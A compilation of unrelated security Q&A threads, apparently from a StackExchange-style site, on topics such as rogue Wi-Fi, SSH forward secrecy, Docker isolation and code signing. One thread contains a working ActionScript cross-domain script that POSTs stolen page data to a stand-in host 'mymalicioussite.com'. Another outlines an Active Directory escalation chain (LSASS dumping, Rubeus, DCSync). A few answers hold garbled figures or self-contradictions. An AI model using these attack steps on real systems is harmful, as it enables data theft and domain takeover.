Alice goes to the airport, turns on her laptop, and it starts searching for a hidden wifi network named 'Bob.'  Malfoy is running a device that is listening for suckers like Alice who are broadcasting in search of a hidden wifi network.  Malfoy's device responds to Alice's laptop saying, "Yep. I'm 'Bob'.  And that password you've provided me, that'll do just fine.  Here's your internet connection."
At this point, all Alice knows is that she's connected to the internet.  She proceeds to browse the internet, while Malfoy sits in the middle stealing her info.

Now, if Alice is savvy, she'll realize that the 'Bob' network shouldn't be available at this airport and something's wrong.  But that's a fair amount of burden to place on a user, especially a non-technical one.
So, is the above scenario theoretically possible?  Is it practical?  If it's not possible, what prevents it from happening?

The attack as you described it is not possible. This is the impossible part: "that password you've provided me, that'll do just fine". In the Wi-Fi protocol, the client doesn't send the password to the AP. Instead, both the client and AP derive an encryption key from it, and they mutually authenticate by making sure they can understand each other's messages.


CSRF Bypass using ActionScript via weak CrossDomain.xml I have a target which has weak CrossDomain.xml but it prevents CSRF attack looking at one of the custom HTTP headers. I found following actionscript on a couple of websites, which works perfectly except that it doesnt set the header.

This actionscript sends a POST request to 'Target.htm' and I need it to set any custom header , say Test-Header:

package {
    import flash.display.Sprite;
    import flash.events.*;
    import flash.net.URLRequestMethod;
    import flash.net.URLRequest;
    import flash.net.URLLoader;
    import flash.net.URLVariables;
    import flash.net.URLRequestHeader;

    public class FlashTest extends Sprite {

        public function FlashTest() {
            // write as3 code here..
            //Target URL
            var header:URLRequestHeader = new URLRequestHeader("Test-Header", "Test123");
            var readFrom:String = "http://192.168.100.4/Target.htm";
            var readRequest:URLRequest = new URLRequest(readFrom);
            readRequest.data  = "ThisDoesNotMatter"
            readRequest.method = URLRequestMethod.POST
            readRequest.requestHeaders.push(header);
            var getLoader:URLLoader = new URLLoader();
            getLoader.addEventListener(Event.COMPLETE, eventHandler);
            try
            {
                getLoader.load(readRequest);
            }
            catch(error:Error)
            {

            }
        }

        private function eventHandler(event:Event):void
        {
            var sendTO:String = "http://mymalicioussite.com";
            var sendRequest:URLRequest = new URLRequest(sendTO);
            sendRequest.method = URLRequestMethod.POST;
            sendRequest.data = event.target.data;
            var sendLoader:URLLoader = new URLLoader();
            try
            {
                sendLoader.load(sendRequest);
            }
            catch(error:Error)
            {

            }
          }
        }
      }

CrossDomain.XML on the target:

    <?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <allow-access-from domain="*" secure="true" />
</cross-domain-policy>

Any help would be appreciated.
A working code with GET request instead of POST would also work as target accepts both, GET and POST requests. As far as I know, setting custom headers are allowed only with POST request but a GET request with any standard HTTP header would work for me at least for now.

After performing a few tests, I was able to modify the script mentioned above to set any custom header ( except for Referer and User-Agent headers that browsers do not allow):

Also, This works only if the target and attacking machine should have following crossdomain.xml:

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-
domain-policy.dtd">
<cross-domain-policy>
 <allow-access-from domain="*" secure="false"  />
 <allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>

And here is the AS3 script that worked for me:

package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLVariables;
import flash.net.URLRequestHeader;

public class FlashTest extends Sprite {

    public function FlashTest() {
        // write as3 code here..

        //Set Header
        var headers:Array = [new URLRequestHeader("TestHeader", "Test123")];

        //Target URL
        var readFrom:String = "http://192.168.253.133/Target.htm";
        var readRequest:URLRequest = new URLRequest(readFrom);
        readRequest.requestHeaders = headers;
        readRequest.data  = "ThisDoesNotMatter" //POST data
        readRequest.method = URLRequestMethod.POST
        //readRequest.requestHeaders.push();
        var getLoader:URLLoader = new URLLoader();
        getLoader.addEventListener(Event.COMPLETE, eventHandler);
        try
        {
            getLoader.load(readRequest);
        }
        catch(error:Error)
        {

        }
    }

    private function eventHandler(event:Event):void
    {
        var sendTO:String = "http://mymalicioussite.com";
        var sendRequest:URLRequest = new URLRequest(sendTO);
        sendRequest.method = URLRequestMethod.POST;
        sendRequest.data = event.target.data;
        var sendLoader:URLLoader = new URLLoader();
        try
        {
            sendLoader.load(sendRequest);
        }
        catch(error:Error)
        {

        }
      }
    }
}//package


Can an old SSH session be reconstructed given root access to the server? Say that A is behind a firewall that logs all packets, communicating with B over a publickey-authenticated SSH connection:

  A <-------- {ssh} --------> B
                v
                v
  [Encrypted packets all logged]

The firewall is unable to inspect the contents of the SSH session due to design of SSH.

What happens if, say a day or two (or maybe an hour) later, the owner of the firewall assumes root control of the SSH server B? I'm assuming it's possible for the owner to extract the server's SSH private key and decrypt the contents of the old SSH session that was saved to fw logs.

Is this possible? If not, what other data would the owner need?

Since almost all key exchange methods offered by SSH today use forward secrecy it is not enough to get the private key of the server in order to get to the session secrets and decrypt the traffic. While RSA authentication was used with SSH-1 and is also a proposed standard for SSH-2 it is usually not implemented or enabled (see ssh -Qkex for key exchange algorithms enabled in OpenSSH).

Because of forward secrecy an attacker would need to have access to the internal SSH state of either the client or server at the time the SSH connection still exists. It is not possible to get the necessary data later to decrypt previously sniffed connections.


Prevent reflecting page modified by browser extension Suppose there is a trusted browser extension in a chrome browser that modifies the web page (like editing DOM, appending scripts, etc)

I don't want anyone but me to see the page modified by this extension, as it could now contain sensitive data. Though it is possible for js handlers to reflect the modified page back to the server. Problem 1: How can I isolate the modified page?

On the other hand it is important for the given page to allow outgoing connections to dynamically load and update the page content.

So this configuration won't work:

There is no way I could filter the traffic of the page from the untrusted server (It is served from an untrusted source. The traffic is encrypted, protocol is unknown and could change)
Problem 2: How not to break dynamic page updates?

Basically, I need at least one-way isolation of page. The browser extension should be capable of doing whatever it needs, and nothing should the page scripts be allowed to do with browser extension content.

You can securely prevent the host web page from accessing data displayed by the extension by having the extension embed its content inside of a pop-up or extension drop-down (this is the solution used by Google's E2Email extension) or inside of an iframe embedded into the page. The iframe must have its src attribute set to a value besides "about:blank". (If it's set to "about:blank", then the host web page can access its contents because of the same origin policy.) The iframe's src may point to a URL contained on a domain trusted by the user, or it may point to an html file contained inside of the extension. The page inside the iframe may have javascript that communicates directly with the browser extension, leaving the host web page entirely out of the loop.


Composition of passwords Passwords (passphrases) that are taken from known texts (books etc.) are commonly considered to be weak, but what if they are employed in combination with random stuffs, i.e. in forms of AX, XA or AXB, where X is random and A and B are from known texts? Intuitively A and B should contribute something nontrivial to the security in addition to that of X. But how much in relation to X? Are there good results of study in that direction?

Entropy, expressed in bits, is a logarithmic scale, so it adds up. If A offers 10 bits of entropy (meaning: an attacker would have to try about 29 values on average to guess it) and B offers 11 bits of entropy (210 guesses), then AB has entropy 21 bits (10 + 11). Similarly for "random stuff" as X. This holds as long as all the A and B and X elements are selected independently of each other (this is important).

Of course, user's reluctance to use the password also adds up, proportionally to the password length. The user has to remember it and type it, so he prefers short passwords, all other things being equal.


Change device MAC address to router's MAC address This is in respect to bypassing Captive Portals. I haven't tried it yet on a captive portal yet. But I was wondering, what will happen if :

I connect to a wireless network
Get the router's MAC address by using "arp -a" command.
Change my device MAC address to router's MAC address.

In this scenario, lets assume :

The captive portal is not configured for proper security and it is only looking at the MAC addresses of the clients connected.
Authenticated MACs can browse the internet whereas others without
authentication get through the captive portal.

Each device on the network maintains a table of known ip-mac address mappings. It builds this table based on arp packets. (this is what you see when you type arp -a) You can see these arp packets going over the network if you open up wireshark.

If you were to do as you suggest, and change your machine's mac address to mimic that of the gateway's mac address, I suspect nothing would happen. Mainly because all of the other devices on the network would maintain their original mapping to the default gateway.

In order to spoof other devices on the network you need to force them to update their arp tables.

You can use arpspoof to do this.

Arpspoofing is pretty easy


Should I use Google Accounts or my own hashed password system? I have a relatively critical control-panel online. If someone with malicious intent were to log in, there would be a significant risk to property. I will be hosting said site on Google App Engine, everything will be through SSL, and have a proper password system with random hashes.

Now, looking through app-engine questions on SO.SE, I found this answer that indicates that it would be best not to deal with passwords at all, and instead use Google Accounts login.

What are the pros and cons of using Google accounts v. managing my own password database?

Google offers 2 factor authentication, but because the account can be used for many sites there can be more likelihood of someone gaining access to an already authenticated client. As you are trusting google anyway (with Google App Engine) its not much more attack surface to have them manage authentication as well. Hosting on your own server with 2 factor authentication and Public keys would be the most secure option if you have the time and know how.


Is BitLocker on a virtual machine still FIPS 140-2 compliant? BitLocker can be used as a cryptographic module to fulfill FIPS 140-2 security level 1 compliance.

In a common setup, USB thumb drives can be used to unlock drives encrypted by BitLocker on startup.

What if the encrypted drive is on a virtual machine, is that still FIPS 140-2 compliant?

In a virtual machine setup, BitLocker can be used without a USB drive because one of the drives on the virtual machines' host can act as a virtual USB thumb drive (or partition).

The only problem is that this all sounds really fishy. This kind of BitLocker implementation mostly subverts the protection that BitLocker is providing in the first place.

So is a BitLocker on a virtual machine with a virtual thumb drive FIPS 140-2 compliant?

In the Validated module list, you'll find a link to the applicable security policy. In the security policy, §2.3 describes the platforms on which the certification applies: it lists several versions of Windows, with no reference to any particular hardware. Then §6 describes usage requirements that must be met in order for the certificate to apply. One of the FIPS-compliant startup mechanisms listed in §5.2 must be in use, therefore the machine must have a PIN pad, a USB connection or a TPM. The policy does not explicitly describe the connection between the machine running Windows and these peripherals, therefore a virtual machine would be acceptable.

A virtual thumb drive would be a different matter. As there is no actual USB involved, I don't think the language can be construed to cover this case.

How meaningful is Bitlocker then? I'll argue it's still useful. Bitlocker (if it meets its security requirement) still protects secrets against any attacker that's confined in the virtual machine.

But the fact that Bitlocker is FIPS 140-2 Level 1 compliant does not in itself mean that Bitlocker is particularly secure. As you can see by reading the security policy, what you have is a superficial evaluation that Bitlocker implements cryptographic algorithms correctly, takes some slight care not to leak key material, and has a vaguely decent high-level architecture. That's all. You would have to go a higher in the certification hierarchy (FIPS 140-2 Level 2, or Commom Criteria with a decent EAL) to get some security assurance. And even then, what you get is just that: some assurance, not a guarantee of perfect security.


Should I encrypt data sent via Android intent? I want to develop two Android apps that will communicate via intents (on the same device).

When the two apps transfer confidential data, should they encrypt it?

Or does the Android OS guarantee (or at least try to guarantee) that intent data is not seen by anyone but sender and recipient?

Of course, let's suppose the user always selects my app as the receiver of the intent.
Let's also say that both apps are installed, that should prevent namespace hijacking.

No, the Android OS doesn't guarantee that intent data is not seen by anyone. Any malicious app implementing the intent filter is able to receive the message and thus get hold of your sensitive data. Encrypting data is good idea but make sure that:

the key used for encryption is not stored on the SD card.
you are not hard-coding the key in the app as it is very trivial to get the source from the apk.

Also, make sure that only the app(s) which are intended to receive the message (via intents) are receiving the intent and that no other app is able to receive that intent. If you want to communicate confidential data and if you know the class names the apps that would be communicating via intents, you can either ensure that only that specific app receives the intent by using the setClassname() method of the intents. For ex:

Intent i = new Intent();
i.setClassName(“your.pkg.name”, “your.pkg.name.Destination”);

or by letting apps having only specific permissions receive the intent. For ex:

Intent i = new Intent();
i.setAction(“your.own.action”);
sendBroadcast(i, “your.own.permission”);

Source: "Seven Ways to Hang Yourself with Google Android" (Defcon 19)


How can the geometry of a JPG 2000 image within a PDF execute code when opening it in Adobe Reader? I work in incident handling/threat analysis and our events are based on Snort rules built from CVEs. I'm researching a particular event and I'm wanting to understand what exactly the vulnerability is, how it can be exploited, and how I can make a determination on whether an event is valid or a false positive.

We have long since patched Adobe Reader with updates that supersede the known vulnerable versions, so I'm not worried too much about it but I don't want malicious PDFs sitting on the network. That's why I want to identify whatever it is that causes it to be flagged.

I have the Snort rule broken into parts and I'm learning about how PCREs are used in content: but that is outside of the scope of this question. I just wanted to add that in there before someone says "look into the Snort rule and see what it is looking for."

The CVE I'm referencing is CVE-2013-0621 (FILE-PDF Adobe Acrobat Reader incomplete JP2K image geometry potentially malicious PDF detected) but there isn't really much information on it other than recommended fix actions, related vulnerabilities, and susceptible versions.

I don't know if the vulnerability is within the JP2K format that allows it to take advantage of a known Adobe Reader issue or if the payload is embedded into the PDF.

Any insight would be very helpful.

The exploit is simply titled based on what portion of the file must be mangled in order to cause a buffer overflow. If you read the SecurityFocus post, you'll see that it says:

  Attackers can exploit this issue to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will likely cause denial-of-service conditions.

In other words, an attacker would mangle (or replace the original value with an extremely large value) in order to cause a buffer overflow, and then cause a DoS (the advisory does not mention any scope for an attacker to execute code)


Docker as a sandbox for untrusted code I have created a web application that among other things allows users to write, compile and execute code (Java, C#). The application creates a Docker container for every user where compilation and code execution takes place. I have taken the following measures to secure the container:

This container has no persistent or shared data.
It does not have access to the docker API (which is secured with TLS).
There is no information within the container the user shouldn't know about.
The user will not be aware that the compiler is within a container.

Can I consider this container safe to run untrusted code in? Are there any known ways to affect the host machine from within the container in a configuration like this?

tl;dr: container solutions do not and never will do guarantee to provide complete isolation, use virtualization instead if you require this.

Bottom up and top down approaches

Docker (and the same applies to similar container solutions) does not guarantee complete isolation and should not be confused with virtualization. Isolation of containers is achieved through adding some barriers in-between them, but they still use shared resources as the kernel. Virtualization on the other hand has much smaller shared resources, which are easier to understand and well-tested by now, often enriched by hardware features to restrict access. Docker itself describes this in their Docker security article as

  One primary risk with running Docker containers is that the default set of capabilities and mounts given to a container may provide incomplete isolation, either independently, or when used in combination with kernel vulnerabilities.

Consider virtualization as a top-down approach

For virtualization, you start with pretty much complete isolation and provide some well-guarded, well-described interfaces; this means you can be rather sure breaking out of a virtual machine is hard. The kernel is not shared, if you have some kernel exploit allowing you to escape from user restrictions, the hypervisor is till in-between you and other virtual machines.

This does not imply perfect isolation. Again and again, hypervisor issues are found, but most of them are very complicated attacks with limited scope that are hard to perform (but there are also very critical, "easy to exploit" ones.

Containers on the other hand are bottom-up

With containers, you start from running applications on the same kernel, but add up barriers (kernel namespaces, cgroups, ...) to better isolate them. While this provides some advantages as lower overhead, it is much more difficult to "be sure" not having forgotten anything, the Linux Kernel is a very large and complex piece of software. And the kernel itself is still shared, if there is an exploit in the kernel, chances are high you can escape to the host (and/or other containers).

Users inside and outside containers

Especially pre-Docker 1.9 which should get user namespaces pretty much means "container root also has host root privileges" as soon as another missing barrier in the Docker machine (or kernel exploit) is found. There have been such issues before, you should expect more to come and Docker recommends that you

  take care of running your processes inside the containers as non-privileged users (i.e., non-root).

If you're interested in more details, estep posted a good article on http://integratedcode.us explaining user namespaces.

Restricting root access (for example, by enforcing a non-privileged user when creating the image or at least using the new user namespaces) is a necessary and basic security measure for providing isolation, and might give satisfying  isolation in-between containers. Using restricted users and user namespaces, escaping to the host gets much harder, but still you shouldn't be sure there is just another way not considered yet to break out of a container (and if this includes exploiting an unpatched security issue in the kernel), and shouldn't be used to run untrusted code.


What happens if someone steals one of my additional domain controllers What happens if someone steals one of my additional domain controllers? What information could an attacker get from my domain controller?

Your domain controller needs to be able to authenticate users. So it needs to be able to verify user/password combinations. Thus it needs to store password information.

This is not stored in plain text, but worst case people will eventually crack those.
Having an DC get stolen is therefor a bad thing.

The DC will also contains lots of other information, such as computer IDs, security groups, membership to security groups, DL list, ... All things which you might not intend to share but not as bad as the [domain admin] passwords.


Bad transactions in an e-commerce system? I read an article signifyd-raises-2m-from-andreessen-horowitz-to-help-online-businesses-use-data-to-prevent-payments-fraud which talks about a service that pulls together data to screen the (e-commerce) transaction. The product uses algorithms on back end to see if every transaction is legitimate and had different systems in place for various types and sizes of retailers.

I don't know what a bad transaction is and how someone can do it to cheat an e-commerce business ? The only bad transaction I can think of is "using a stolen credit card``. What are the other ways criminals commit e-frauds ?

What are the flaws in the existing payment validation systems ?
and why do we need something like signifyd to prevent such transactions ?

Almost all of them do rely on having a stolen credit card.  The trick is in trying to catch that, particularly if the card hasn't been reported as missing yet.  This is especially difficult if the attacker has the physical card, or the security code, and knows the address of the victim.

There are several "red flags" that can indicate potential fraud of this nature:

Unusual amount of transactions
A small "test " transaction followed by several unusual large transactions
Shipping address other than what the issuing bank has online (particularly to PO boxes)
mismatch of some data
and many more I hope never to have to learn about.

Software like this is designed to help to catch transactions for people who have access to a lot of the potential victim's data.  Given how freely available PID is these days, tools like this are, unfortunately, necessary.

There are other solutions out there, including one from TransUnion, Idology, and many others.

There is more information in a video on the Signifyd website.


How do I convert a GPG certificate to a CRT certificate that can be imported into Windows Certificate Manager? I have a GPG certificate from someone used for email

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG/MacGPG2 v2.0.14 (Darwin)

I would like to import that into Windows Certificate Manager

So I can use it in Thunderbird, which uses Certificate Manager

Which can only import *.crt, *.cert, *.cer, *.pem, *.der.

I couldn't find anything relevant https://duckduckgo.com/?q=convert+gpg+to+crt

I found this

http://www.sysmic.org/dotclear/index.php?post/2010/03/24/Convert-keys-betweens-GnuPG,-OpenSsh-and-OpenSSL

But I don't have access to OpenPGP2SSH.

I found MonkeySphere and compiled it from source, but it's giving an error.

C:>gpg --export --export-options export-reset-subkey-passwd,export-minimal,no-export-attributes  --no-armor 999999 > \cygwin\tmp\george.pub.key
$ openpgp2ssh 9999999 < george.pub.key  > george.ssh.key
We only support RSA keys (this key used algorithm 17).
We only support RSA keys (this key used algorithm 16).
No matching key found.

Short answer: you can't, because they are two different and incompatible key+certificate systems.

Longer answer:

Windows Certificate Manager uses X.509 certificates, each of which
must be signed by a Certification Authority whose root certificate is
considered valid by Windows. Thunderbird will use the public key
stored in your recipient's certificate to encrypt content.
OpenPGP and GPG use their own certificate format that is unrelated to
X.509, and use their own encryption and signing mechanisms which are
incompatible with S/MIME.

SSH is unrelated to either, so of no help to you.


Ways to exploit AD in context of Domain Computer account not as Domain user account? There are hundreds of articles if we search "how to exploit AD Environment?" but if you read them, you will find that every article focuses on the context of the domain user Account.
Now I am here to ask what can be the attack ways of AD in the perspective of a domain computer account, or more specifically, suppose "You got ACCESS to AD Joined Domain Machine but the user you compromised is Local Administrator NOT Domain User/Administrator?"
How will you approach?
This might be a generic question, but I have segregated it down to only for computer joined machines.
Or in other words: Ways to exploit Non-Domain users to become a Domain User?

I will answer the following question:
"You got ACCESS to AD Joined Domain Machine but the user you compromised is Local Administrator NOT Domain User/Administrator?"
Before starting, I think that this is a very interesting question and not wide at all.
Here is the deal, you started as a LA which basically means that you can perform almost anything you want on the current BOX. Great! Let's analyze this:

You are LA therefore you could have a look at the secrets stored in the computer. This includes tickets from the users that logged there, the LSASS process (and the users that interacted there), and of course the NTLM of the machine account ( you can identify these because they have a $ at the end of their name, like WS001$ , also it would be possible to check for PowerShell history files, or browser's bookmarks. Basically run local checks in order to enumerate local information that might be useful to elaborate further attacks
Now I assume that the computer where you are working from is domain joined. Lucky you, you have the NTLM of the local Administrator account and therefore you can perform actions like if you were the host. This is your lucky day because AD treats computer accounts and user accounts very similarly, therefore you can perfectly execute bloodhound and obtain relevant data! Thanks to a bloodhound, you discovered that one of the users that had a Kerberos ticket in memory, Larry has GenericAll permission over the user ADM-Larry which is a Domain Admin! Then you will grab the ticket, inject it with Rubeus, modify the password of ADM-Larry and finally impersonate ADM-Larry.  Now you are free to do whatever you want including a DC-Sync in the DC!

Reference about the GenericAll attack:
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces


Why are larger block sizes more desirable? I've read three different exceperts from three different information security books, to summarize, this is what they say:

  "Block size impacts security, complexity, and performance. A larger
  block size is more desirable. It is more costly to implement though."

I have yet to find a reason WHY it is more desirable. WHY is a larger block size more desirable than a smaller block size? How does a larger block size impact security versus a smaller block size? What is considered a large block size? What is considered a small block size? Is 3DES compatible with only a 64 bit block size?

If someone can help explain this to me, that would be awesome. I haven't been able to find a source that can explain this concept to me without being extremely vague.

Block size increases the combinatorics - there are many more different blocks.

3DES and Blowfish always work on 64 bit blocks, regardless of key size. AES always works on 128 bit blocks, regardless of key size. We now know 64 bit blocks are insecure if you send a lot of data.

For more, read the site and the paper for sweet32.


Webserver port tunneling security - security options I'm developing system that allows access to client devices behind firewall, using port tunneling via SSH. Every client has dedicated linux based server, with port 80 being tunneled to public server. That way client's can have dynamic IP address and firewall enabled, no port forwarding on router is needed.

Every client has it's own port, eg.

Client A -> port 8888
Client B -> port 8889
Client C -> port 8890

They can connect from anywhere to their own webserver simply by calling http://mypublicserver.com:[their_assigned_port_no]

I can see some security issues, tho.

Attacker can simply scan http://mypublicserver.com ports (65k of them) and get number of clients currently connected
Having that, perform any attack on their login screen, DOS their machine, try accessing PhpMyAdmin, brute-force etc.

There is also a limitation, as I cannot assign more than ~60k clients... It isn't a problem at the moment as I don't expect to hit more than 10k of them. Still, having to guess port number is not hard at all. It is also prone to mistype, somebody might be trying to login with his own credentials into somebody else machine because he typed 8989 instead of 8898.

As a defence, I thought of additional string value (hash or something) sent with login page request. If it is missing or incorrect - return 404. That way you can't get to login page if you don't know the string value, but it makes it almost impossible to get without having this site bookmarked, because short string would be easier to remember, but also easier to crack.

Another way (and this is currently my favourite one) is to login via web interface of http://mypublicserver.com. You login with other set of credentials which redirects you to http://mypublicserver.com with authentication key (stored inside mypublicserver's database) sent as POST data. After succesfull login key is invalidated, generated new and sent to mypublicserver from the client's webserver.

But this also means a need to remember 2 sets of login-password, probably leading to confusion ("Why do I need to login twice?!")

I have already:

changed default location of phpmyadmin
introduced account lock with more than 10 failed login attempts

What do you think of that? Did I miss something important? How can I secure that system?

I'm afraid that you have already failed at the first hurdle since you are using HTTP everywhere. This means that you are pushing unencrypted login traffic over the Internet which is subject to interception and misuse. You must have HTTPS at least from the client to the edge server.

You also haven't taken into account denial of service attacks though you haven't said whether you think that important. If all of the services are on guessable ports, an attacker can simply start streaming traffic to those.

Using multiple ports also makes it hard for clients to connect when behind a firewall. I'd recommend using a reverse proxy at the edge of your server network. That can both be the HTTPS terminator, load balancer (if needed) and can be made to redirect URL's to the appropriate back-end services.

On the front-end, clients should use a folder to identify their origin:

https://myserver.com/servicea
https://myserver.com/serviceb
etc.

The reverse proxy can redirect those to the correct back-end ports.

You don't need anything clever with ids/passwords though if you wanted to tighten things up further, you could use the reverse proxy or a firewall at the server end to restrict connections by source IP address.


Eavesdropping phones in offline mode or when switched off Occasionally there are reports about eavesdropping via phones which are switched off or in offline (or airplane) mode. People put their phones in the fridge or remove the batteries to prevent such eavesdropping.

Have there been proven situations where something like that happened? What phones were used for this? Did the phones have modified hardware, or was only the software altered?

How could one detect such eavesdropping?

I'm aware that some software on the phone could collect data (e.g. record a conversation) and upload the content only when the connection to network is established or the phone is switched back on. But my question is specifically about the situation where the phone would be online although the user would think it's switched off or in offline mode.

AVG just detected some malware which even works while the phone is switched  off. It seems that the malware interrupts the shutdown process so that the user thinks the phone is off, while it actually still runs. Removing the battery could prevent this malware from working.


WiFi Deauth Attack equivilent for bluetooth? I have used WiFi deauthentication attacks in the past to successfully knock WiFi connected-devices off of my LAN network.

As far as I can tell, the attacker just spoofs a client and sends the access point a deauthentication frame, and then the access point refuses any successive connections from the client.

Now, I'm more familiar with WiFi than bluetooth, but I've been wondering lately, can similar attacks be used to "deauthenticate" from a bluetooth-connected device? For example, can I spoof someone's laptop/phone and send a packet to a bluetooth speaker that they are connected to and force the speaker to drop the connect?

Is it possible to use some sort of deauth attack on bluetooth-paired devices as with WiFi networks?

Not that i have ever heard of. Bluetooth communication is not designed like wifi communication. When we drop clients via the method you speak of the communication happens at the 2.4Ghz (or more recently at 5Gz) all communication is done at that range give or take depending on the channels.

Bluetooth is a little different. v4.0 specification document here:

https://www.bluetooth.org/docman/handlers/downloaddoc.ashx?doc_id=229737

In the case of internet routers are always available to talk to based on the BSSID and ESSID and we also use this to determine the clients connected to them with something like aerodump.

In the case of Bluetooth however, if a device is not discoverable we would need to know the 48 bit bd_addr. in undiscoverable mode the device wont respond to scanning attempts and will not reveal this to us. but we'll assume you have it somehow, captured it when it was discoverable.

When communication starts the messages are sent in what are called pages and this is where things get fun. Amongst the steps required for communication are that of clock synchronization and frequency agreement (among which a channel master access code) and channel hopping sequence, this is the main difference in the communication of wlan devices.

This is how piconets (the little network each master and slave device exist in) are formed, each with its own frequency hopping mechanism and channel pass code. see section 4.1.1 on the topology. This is what i think is the main problem with creating a similar attack here. but well get to that in a bit. just know we're talking about 1600 hops per second. Its important to also note that if a Bluetooth device is the master of a connection, it cannot be the master of any other connection. It can however be a slave of multiple connections. So a Bluetooth hub will most likely make connections as a slave. Since the access code and frequency hoping are also defined by the master device this also plays a role in why i think it cant be done. See 3.1 for full connection sequence.

Once the connection is finished an LMP_detach can be sent from one device to the other but it is not required, nor is the response required. There is also no guarantee that i can see here, that a slave device will ignore any communications after receiving an LMP_detach or soft reset. I think that if sufficient time for desynchronization to occur has passed, resynchronization would simply be necessary.

To sum it all up, in order to issue the LMP_detach we would have:

to get the bd_addr of the device we wish to spoof
obtain the master access code of that communication
know the frequency hop topology
have a master clock completely synchronized with the device (and therefore the slave)
issue the command as the master
hope it stops responding

Oh and there is encryption somewhere in there too.

Like i said, I've never tried this? but i think that the clock synchronization and frequency hopping would be the biggest hurdles to achieving something like this. I'm not one to say anythings impossible though. And I'm no expert in Bluetooth by far. If it has been done, id love to see it! But this is just my 2c.

I don't think it can be done.


Hooking Windows SSL libraries What libraries does Windows use to send ssl traffic? The ws2_32.dll has the tcp send function, but the traffic is encrypted before it reaches that function.

I'm looking to reach the code where the traffic is still in plaintext. Its a windows application as well, its not a web page so I can't look at firefox source code etc.

There is a tool called Echo Mirage that does it, but I'm interested in how they achieve that.

Thanks

Windows uses its Secure Channel (schannel.dll) for all SSL/TLS type communications.  You can try to look at the Windows docs for TLS.  You might also be able to use Fiddler as an SSL proxy to look at the decrypted data.

@CBHacking commented with a tool that is very useful, Microsoft Message Analyzer.  It uses Fiddler behind the scenes when you use its Quick Trace Tool for live HTTP decryption.  But you can also perform Post Decryption on TLS using this tool.  A quote from that blog post:

  Today you can capture the traffic before it is encrypted using the
  Unencrypted HTTPS scenario from the Quick Trace menu. This requires
  you install the Fiddler Core components, which is how we enable this
  scenario. However, there are some limitations and scenarios that it
  doesn’t cover, like non HTTP traffic. And not all clients and
  capturing scenarios work with Fiddler. So another other option is to
  decrypt after the fact.

  Post decryption has its challenges too. You need the private cert and
  password, which might not always be easily available. However, one
  nice mitigation is that the person who does have access to the
  certificate can always save the results, filtered down, and send only
  that data he wants you to see. Also, we haven’t hooked up every parser
  yet, however for some cases it’s a simple change and something we’ll
  extend moving forward.

If you have access to the cert in which you want to use for your application, then this could be a good substitution for non-HTTP TLS traffic.


What else can be used instead of an API Key to protect resources in a REST API as is implied by OWASP? I was reading the OWASP Cheat Sheet Series, specifically their cheat sheet for REST Security and one of the points they had under the section for API Keys was:

Do not rely exclusively on API keys to protect sensitive, critical or high-value resources.

What are the alternatives to protect resources via a REST API that they are indicating towards?

What are the alternatives to protect resources via a REST API that
they are indicating towards?

They are indicating to implement further measures in addition to API keys, not to look for alternatives.
The other measures are in the Table of the content on right of the same page.


What Are Good Code Signing Environment Guidelines? Take this scenario as an example: An organization has a few build servers that periodically check out source from a repository and builds everything. When a build finishes the binaries are code signed and archived and sometimes posted to the public along with the signatures and public certificate.

Assuming that:

The private EV cert is stored on a hardware token connected to the signing server, presumably in a physically secure environment (code signing environment).
the server would likely be Linux based.

What precautions are appropriate for such a signing server, HSM or otherwise.

Should the signing environment be located behind a locked door accessible only with an id badge.
Could denying simple physical accessibility be enough (place the signing environment in a ventilated and physically secure box?
What are the considerations for how physically secure the environment should be?
Would a locked server room sufficiently secure?
When is it unsound to have a code signing server connected to the company network? (To provide access to build servers)
Is key based ssh sessions enough to secure communications between build servers and the signing server over the company network?

Thanks!

The major principle to consider is this: the private key should never move.

In no way should the code signing environment be accessible to the build/test environment.  If the build environment can fulfill code signing requests directly it means compromising the build/test environment (a space with an enormous attack surface) would compromise your code signing.

The code to be signed must be relocated to the signing environment, the key cannot be moved to the build environment.

One solution I can think of for this is for the build system to publish qualified build artifacts and for a key custodian (an actual person) to get those build artifacts, sign them in the signing environment, and then publish the signed artifacts to an artifact repository.

Preferably the signing environment would be physically isolated, but for business reasons the level of protection you place on it needs to not exceed the risk of key exposure multiplied by the cost of key exposure.  The signing environment in a very low risk scenario (you only have code signing for deployment convenience and accept the risk of reputational damage and legal liability if maliciously used) could be the key custodian's own workstation if it is sufficiently secured.


Where to locate my private key to SSH? In my understanding, to ssh login to my server, I need a private key:

However, the key I get when generating seems to be a public key:

Do you know where to locate my private key?

Manually generating your SSH key in Windows

In the line Enter file... you have chosen an arbitrary filename public_key_ooker. That's why the privake key has been saved to public_key_ooker and public key to public_key_ooker.pub. The name alone doesn't make the private key a public key, but gets you confused.

But you don't necessarily need a key, if you are using password authentication. If you'd rather use public key authentication, which is actually a good idea, the server needs to be aware of your public key: you need to save the line to ~/.ssh/authorized_keys on the server.


Why are CA's now signing root certs with SHA2? I see that CA's are now giving the option of having the root CA cert signed with SHA2. I have been told that the hashing function in a root has no security value, and is irrelevant as far as a collision vulnerability because the cert lives in the trust store of the host system, so it requires no verification, and faking one would be pointless in that respect. So why are CA's now giving this option? Is this a security measure in case the CA itself is compromised to prevent attackers from issuing fraudulent certs?

No. It's irrelevant, although it's better that they don't use weak root signatures. I think the setting may refer to the intermediate CA instead.

Remember that from 01/01/2017 Microsoft will start rejecting SHA-1 signed  SSL certificates, and Google will degrade the security level indicator for those sites with a certificate which is valid after 01/01/2016, and even if it is valid after 01/01/2017.

These SHA-1 rejections mean that the whole trust path must be using SHA-2, and that includes the intermediate CAs. OTOH, if you still want https: to work on Windows XP systems, its Internet Explorer won't be able to validate SHA-2 signed certificates. I guess that's the reason they let you choose, instead of simply using a SHA2 root CA.


Simple open-source file encryption tool I want to securely encrypt files, with an open algorithm.

So, i've constructed the simple openSSL shell command. How secure is it?

function aes-enc() { openssl enc -aes-256-cbc -e -in $1 -out "$1.aes" }
# Now, encrypt zip archive.
aes-enc hello.zip

